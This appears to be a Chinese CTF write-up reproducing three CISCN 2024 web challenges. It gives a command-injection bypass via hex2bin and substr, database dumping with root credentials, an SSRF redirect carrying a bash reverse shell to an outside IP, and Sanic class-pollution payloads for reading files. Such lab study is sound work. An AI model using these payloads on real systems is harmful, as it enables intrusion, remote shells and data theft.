Ciscn2024web复现
simple_php
源码
  | 
**ini_set('open_basedir', '/var/www/html/');**:设置 open_basedir 配置选项,限制 PHP 只能访问 /var/www/html/ 目录及其子目录
$cmd = escapeshellcmd($_POST['cmd']);  | 
**escapeshellcmd** 是一个 PHP 内置函数,用于转义传递给 shell 的字符串,以防止命令注入攻击。它的主要作用是确保用户输入的字符串在作为 shell 命令的一部分执行时不会被解释为特殊字符或命令。这个函数会在某些有特殊含义的字符前添加反斜杠,从而使这些字符失去特殊含义。
eg:
假设有以下用户输入:
$input = 'cat /etc/passwd; rm -rf /';  | 
使用 escapeshellcmd 转义后:
$escaped_input = escapeshellcmd($input);  | 
输出将会是:
cat\ /etc/passwd\;\ rm\ -rf\ /  | 
而且这里过滤了很多东西
跟着wp复现
php -r 是 PHP 命令行界面(CLI)的一部分,它允许你直接在命令行中运行 PHP 代码,而无需创建一个文件来包含这些代码。-r 选项用于指定一段将被执行的 PHP 代码

发现可以直接执行
那么我们这就可以命令执行
由于绕过的函数有些多,我们可以使用hex2bin()函数进行16进制转字符进行绕过
但发现直接php -r eval(hex2bin(73797374656d2827707327293b));
行不通
发现hex2bin需要的参数是一个字符串类型的数字,直接两个双引号呢?
不行 gg 准备跑路
但是总有大佬能想出来
substr() 这个就有点牛逼了
我们知道
自动类型转换(Type Juggling)
PHP 是一种弱类型语言,它支持自动类型转换,称为“类型杂耍”(type juggling)。这意味着 PHP 会在需要时自动将一种数据类型转换为另一种数据类型。这种转换在函数参数传递时特别常见。
当你传递一个数字给 substr() 的 $string 参数时,PHP 会自动将这个数字转换为字符串。这是因为 substr() 函数的第一个参数需要一个字符串,而 PHP 会尝试将传递的任何数据转换为期望的类型。
所以我们这里payload
cmd=php -r eval(hex2bin(substr(Gu0f3n73797374656d28276c73202f27293b,6)));  | 
成功执行
查找/目录发现没东西 但是 ps 发现有sql进程
# echo `mysql -u root -p'root' -e 'show databases;'`;  | 

爆出库名
# select * from PHP_CMS.F1ag_Se3Re7;  | 

还有个更简单的payload
mysqldump -uroot -proot --all-databases  | 
直接把所有库的所有数据查出来 然后找flag
easycms
hint:简单的cms,可以扫扫看? 提示1: /flag.php:
if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){  | 
提示2:github找一下源码?
找到源码
https://github.com/dayrui/xunruicms
信息打点 发现这个cms的漏洞公示https://www.xunruicms.com/bug/

定位路径xunruicms-master\dayrui\Fcms\Control\Api\Api.php

ssrf漏洞
定位这个函数dr_catcher_data

试了下输入本地不行
302跳转
自己vps上面构建302.php
header("Location:http://127.0.0.1/flag.php?cmd=bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F8.149.246.169%2F2222%200%3E%261%22");  | 
payload:
?s=api&c=api&m=qrcode&text=1&thumb=http://vps:7777/ctf/302.php&size=6666&level=1  | 
反弹shell

卡了? 试了几次都这样
gg 跑路 复现失败 ┭┮﹏┭┮
sanic
依旧是这位大佬gxngxngxn
参考
https://www.cnblogs.com/gxngxngxn/p/18205235
进入src路由
源码
from sanic import Sanic  | 
  | 
分析下这段 在/login路由处我们需要绕过**user.lower() == ‘adm;n’**的限制,由于这里是从session中读取,所以默认是会在分号处截断,直接传肯定是不行的
利用八进制绕过

原理之前DASCTF复现的时候讲过了
所以直接上操作
得到admin的session
进入admin
直接污染
{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory_view","value": "True"}  | 
{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory._parts","value": ["/"]}  | 
得到flag名

{"key":".__init__\\\\.__globals__\\\\.__file__","value": "/24bcbd0192e591d6ded1_flag"}  | 
访问src 拿flag







.jpg)

.png)
